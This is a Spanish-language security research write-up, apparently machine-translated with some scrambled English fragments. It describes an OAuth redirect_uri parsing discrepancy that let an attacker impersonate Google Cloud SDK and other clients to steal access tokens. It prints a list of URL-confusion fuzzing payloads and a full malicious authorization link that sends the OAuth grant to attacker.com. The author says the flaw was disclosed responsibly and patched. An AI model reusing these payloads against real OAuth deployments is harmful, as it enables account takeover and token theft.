TL;DR Título: DR Este artículo pasa por una vulnerabilidad única de toma de cuenta de OAuth que había descubierto recientemente que afecta a varios servicios de Google. La vulnerabilidad permite a los atacantes fingir aplicaciones legítimas como el cliente Google Cloud SDK y filtrar el token de acceso a un servidor controlado por el atacante que permite un acceso de puerta trasera a la cuenta de la víctima, con casi cero visibilidad para la víctima. redirect_uri Las cuatro primeras secciones cubren el fondo general de OAuth, los riesgos de fuga de token y la confusión de análisis de URL. Si ya está familiarizado con estos conceptos, no dude en ir directamente a Note: Section 5: Google Cloud Account Takeover Case. 1 Introducción OAuth 2.0 permite a las aplicaciones de terceros acceder a los datos de los usuarios sin manejar contraseñas directamente al tener un servidor de autorización (por ejemplo, Google) generando un token para ser utilizado por la aplicación de terceros para solicitar datos de los usuarios o realizar acciones en su nombre. Pero si el El parámetro no es validado con precisión quirúrgica, los atacantes pueden fingir ser aplicaciones de confianza y engañar a los usuarios a filtrar sus tokens de acceso. redirect_uri En este artículo, voy a caminar por cómo un fallo de análisis de URL sutil me permitió hacer exactamente eso - en varios servicios de Google - con una profundidad en el caso de Google Cloud. Cómo funciona OAuth Mientras que OAuth es un protocolo bastante complejo que merece una serie de artículos para comprender plenamente, aquí hay una visión general simplificada: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data Para visualizar las cosas, el diagrama demasiado simplificado a continuación me muestra iniciar sesión en Medium usando mi cuenta de Google: En muchos casos, el servidor de autorización y el servidor de recursos son los mismos. Note: OAuth Token Fuga Mirando el diagrama de arriba, la parte más complicada es el paso 5, donde el servidor de autorización envía el token generado de vuelta a la aplicación del cliente. Saber dónde enviar el token. redirect_uri Si este parámetro no es correctamente validado, un atacante puede fingir la aplicación del cliente (por ejemplo, Medium) y engañar al servidor de autorización para enviarle el token de acceso del usuario, aunque, desde la perspectiva del usuario, todo parece legítimo. Es típico, es validado en cierta medida — no puede simplemente lanzar cualquier URL aleatoria en el servidor de autorización. Sin embargo, los métodos de validación varían en todas las implementaciones dependiendo de las necesidades de negocio, y los defectos en este proceso pueden ser explotados. redirect_uri Algunos patrones comunes: Correspondencia estricta: Corresponde exactamente a una cadena con un URI pre-registrado. Wildcard o Path Prefix Matching: Permitir URIs como https://example.com/* o https://*.example.com. Loopback Addresses: Común en las aplicaciones de escritorio, donde un servidor local maneja el redireccionamiento. URL Parsing Confusión Según el , una URL estándar tiene la siguiente estructura: RFC 3986 scheme://username:password@host:port/path?query#fragment Cada componente desempeña un papel específico: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment Se refiere a como Se refiere a como Note: host:port authority, username:password userinfo A primera vista, esto parece sencillo, pero pueden ocurrir discrepancias de análisis sutiles, especialmente cuando se tratan casos de borde.Estas inconsistencias se pueden explotar para ataques como el paso de la validación o el contrabando de solicitudes entre protocolos. Los desarrolladores podrían asumir que una URL es analizada de una manera consistente y estandarizada en todas las bibliotecas, sin embargo, la extensa investigación sobre los parsers de URL ha demostrado lo opuesto. OAuth redirect URI validation SSRF prevention Proxy or CDN routing A continuación se muestra un ejemplo en el que una única URL es tratada de manera diferente en tres parsers diferentes. Si bien este artículo no se sumergirá profundamente en los ataques de confusión de análisis de URL, se exploran minuciosamente en el artículo de Black Hat de 2017. Una nueva era de SSRF: aprovechando el parser de URL en los lenguajes de programación de tendencia El caso de Google Cloud Account Takeover Si alguna vez has usado Google Cloud antes, probablemente hayas encontrado CLI utilidad — una poderosa herramienta de línea de comandos utilizada para gestionar los recursos de Google Cloud. Entre otras características, permite a los usuarios autenticarse usando sus cuentas de Google a través de un flujo OAuth basado en el navegador. gcloud Aquí está cómo funciona: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Para que este flujo funcione, Google confía en ciertas URLs de retroalimentación (por ejemplo, http://localhost) para aplicaciones nativas, ya que estas se consideran suficientemente seguras para el uso local y se listan internamente. Identificar la superficie de ataque Después de ver a Se utiliza como mi primer instinto fue reemplazarlo por y Este es un paso crucial porque confirma que las URLs están siendo analizadas y comparadas internamente, en lugar de tener algún control básico como: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Así que aquí tenemos dos cosas importantes que están sucediendo: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri Esto significa que tenemos dos parsers de URL en lugar, el que utiliza el backend de Google, y el parsers utilizado por nuestro navegador (Chrome en mi caso), por lo que a menos que estos dos parsers sean idénticos, cualquier inconsistencia entre ellos puede ser explotada para filtrar la concesión de OAuth a un servidor controlado por el atacante. El objetivo ahora es claro, necesitamos crear una URL que se analize de manera diferente entre los dos parsers, de una manera que engañe al parser de backend de Google para analizarlo como una dirección de loopback, mientras que el parser de Chrome la analizará como una dirección de Internet global. El hecho de que tengamos un conocimiento muy limitado sobre el backend de Google y qué biblioteca están utilizando internamente para analizar URLs, significa que solo nos queda el enfoque de la caja negra. B. Fuzzing por la victoria Lo que hice después fue escribir un script de Python que mutaría diferentes URLs aplicando varios trucos de codificación, notaciones alternativas y casos de borde para ver cuáles pasaron la validación de backend de Google pero fueron interpretados de forma diferente por Chrome, el script empleó varios trucos como: Representaciones IP alternativas: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Direcciones IP privadas: 10.0.0.5, 192.168.5.3, 127.10.0.1 Diferentes esquemas: file://, ldap://, ftp://, javascript://, datos:// Injeción de CRLF: %0D%0A Hostname/IP como información de usuario: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com URLs muy largas: http://AAAAAA...@127.0.0.1 Sufixos de DNS: 127.0.0.1.attacker.com URLs malformados: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Injecciones de interrogante/fragmento: Injecta extra ? , & o # antes/después @ DNS rebinding (testado manualmente) Después de ejecutar el guión durante un tiempo, y a mi sorpresa, uno de los casos de borde generados logró desencadenar la discrepancia exacta que estaba buscando, mi reacción fue: El caso de Edge encontrado fue: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ que se puede simplificar aún más en: http://[::1]@[::1]@attacker.com/ Cuando intentamos analizar esta URL usando Chrome, obtenemos el siguiente resultado: La parte interesante de es que es una URL malformada para empezar. El personaje está reservado para separar el Desde la , y sólo debe aparecer una vez en una URL válida. Chrome mitiga este caso de borde al codificar todos los caracteres no reservados, así como ocurrencias anteriores de caracteres reservados, y usando sólo la última versión. como el delimitador. Esto garantiza que cualquier antes de que el último sea URL-codificado. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ En contraste, basado en pruebas experimentales con variaciones de carga útil, parece que el analizador de backend de Google no codificó correctamente las ocurrencias anteriores de caracteres reservados y utilizó la primera ocurrencia de como el delimitar. después de dividir en Por lo tanto, el parsador probablemente extrajo el y de posiciones fijas, ignorando por completo el trail . @ @ userinfo hostname attacker.com Vale la pena señalar que este comportamiento se desencadenó exclusivamente cuando se utiliza IPv6. ) funcionó como se esperaba, destacando que la inconsistencia era específica para la lógica de análisis de IPv6. http://127.0.0.1@127.0.0.1@attacker.com C. Poniéndolo todo juntos Ahora nuestro vector de ataque se hace claro, podemos fingir Cli utilidad y engañar a un usuario para autenticar el pensamiento que están autenticando a . gcloud gcloud El ataque se desarrolla así: Crea una solicitud de autorización de OAuth maliciosa y envía su enlace (bloqueo de código a continuación) a la víctima La víctima se presenta con un flujo de autenticación OAuth totalmente legítimo para el cliente Google Cloud SDK (Figura 9) La víctima se conecta y acepta los permisos listados (objetivos) La víctima es redirigida a nuestro anfitrión malicioso, con su subvención OAuth generada Utilizamos la concesión OAuth para realizar llamadas de API en la cuenta de la víctima en su nombre https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 A continuación se muestra una visualización del flujo de ataque propuesto Desde el punto de vista del usuario, se vería como si estuvieran autenticando en , incluso para el servidor de autorización de Google, parecería que el usuario está tratando de autenticarse en , por lo que estamos engañando efectivamente a ambas partes de autenticación a pensar que es un proceso de autenticación legítimo mientras que el token de acceso final está siendo filtrado en nuestro host malicioso. gcloud gcloud El token de acceso filtrado efectivamente nos concederá acceso ilimitado a la cuenta de las víctimas, lo que nos permitirá realizar incluso acciones altamente privilegiadas. Lo que hace que este ataque sea aún más peligroso es: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Como se mencionó al principio de este artículo, es sólo una aplicación vulnerable, a continuación se muestran algunas otras aplicaciones que he encontrado que también son vulnerables: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google respondió rápidamente, reconoció la gravedad en 72 horas, y otorgó una recompensa de alta gravedad. 6 Conclusión Esta investigación destaca cómo una discrepancia sutil en el análisis de URL puede socavar completamente la seguridad de un flujo de autenticación completo que se reutiliza en diferentes aplicaciones y servicios, incluso cuando se implementa por una empresa tan madura y consciente de la seguridad como Google. Aunque OAuth es un protocolo maduro y bien estudiado, su seguridad depende en gran medida de los pequeños detalles de implementación que varían entre plataformas, bibliotecas y entornos.Es un recordatorio de que en seguridad, la precisión importa: incluso pequeñas inconsistencias entre componentes pueden ser suficientes para romper los supuestos críticos de confianza. Google ha corregido la vulnerabilidad después de una divulgación responsable. ¡Gracias por leer!